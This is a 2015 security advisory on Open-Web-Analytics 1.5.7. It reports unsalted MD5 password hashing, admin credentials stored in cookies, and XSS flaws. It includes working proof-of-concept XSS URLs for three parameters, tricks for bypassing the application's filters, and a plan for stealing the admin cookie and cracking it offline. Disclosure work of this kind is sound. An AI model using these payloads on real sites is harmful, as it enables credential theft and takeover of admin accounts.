[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-OPENWEBANALYTICS0721.txt



Vendor:
================================
www.openwebanalytics.com



Product:
================================
Open-Web-Analytics-1.5.7


Advisory Information:
=======================================================
Cryptographic, Password Disclosure & XSS Vulnerabilities




Vulnerability Details:
=====================


Cryptographic Weakness:
-----------------------
Passwords are stored in the database using MD5 hash algorithm
NON salted, we find in owa_lib.php,

public static function encryptPassword($password) {
 return md5(strtolower($password).strlen($password));
}


Password Disclosure:
--------------------
In owa_auth.php on line 329 we find saveCredentials() PHP function which
saves the
username & password as browser domain cookie leaving us direct access via
XSS attack.

function saveCredentials() {
  $this->e->debug('saving user credentials to cookies');
  setcookie($this->config['ns'].'u', $this->u->get('user_id'),
time()+3600*24*365*10, '/', $this->config['cookie_domain']);
  setcookie($this->config['ns'].'p', $this->u->get('password'),
time()+3600*24*30, '/', $this->config['cookie_domain']);
}



XSS:
----
Application is vulnerable to XSS So, now we can access the Admin username &
password
credentials from our XSS attack, do a window.open() or whatever and send to
a remote server
then come back and login after performing offline crack of the hash. Since
we cannot seem
to echo the password using document.cookie we will use
window.document['cookie'] to gain
access to admin password. The application uses the admin username and
password as persistant browser
cookies which is our dream come true!

e.g. retrieved username & passwd via XSS ( owa_u=admin;
owa_p=76ffbb8d470d6a402b3c429f35be8a1a )
user: admin / passwd: abc123


Also a second XSS vector exists in Install PHP script via POST request in
the Email address field.


Exploit code(s):
================


XSS(s) POC:

1- Steal username & password XSS, in this example we inject our malicious
payload into the middle of the site ID hash.
http://localhost/Open-Web-Analytics-1.5.7/Open-Web-Analytics-1.5.7/index.php?owa_do=base.sitesInvocation&owa_siteId=e9144cf4%22/%3E%22--%3E%3CDIV%20id=%27HELL%27%20onMouseMove=alert%28window.document[%27cookie%27]%29;%3C!--

Injecting <script> tags seems to be problem, we will defeat that by
injecting our own <DIV id='HELL'> tag and call our
JS function using the DOMS onMouseOver() event listener we can also use
onMouseMove() etc...
Application seems to filter %20 white space, however we can bypass that
using '\x20' raw hex representation.
Finally, to make it execute without interference we need to comment out the
rest of the code within the webpage
by inject '<!--' begin comments script right after our evil JS.

vuln param:
owa_siteId


2-
http://localhost/Open-Web-Analytics-1.5.7/Open-Web-Analytics-1.5.7/index.php?owa_site_id=&owa_status_code=25%22/%3E%22--%3E%3CDIV%20id=%27hell%27%20onMouseMove=alert%28window.document[%27cookie%27]%29;%3C!--00&owa_do=base.optionsGeneral&

vuln param:
owa_status_code


2- install.php XSS:
http://localhost/Open-Web-Analytics-1.5.7/Open-Web-Analytics-1.5.7/install.php?owa_site_id=&owa_do=base.installDefaultsEntry&

Inject " onMouseOver="alert(666); into Email address field and submit form.


vuln param:
owa_email_address


Disclosure Timeline:
=========================================================


Vendor Notification: July 17, 2015
July 22, 2015 : Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+] GET / POST


Vulnerable Product:             [+] Open-Web-Analytics-1.5.7


Vulnerable Parameter(s):        [+] owa_siteId, owa_status_code,
owa_email_address


Affected Area(s):               [+] Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and prohibits any malicious use of all security related
information or exploits by the author or elsewhere.


(hyp3rlinx)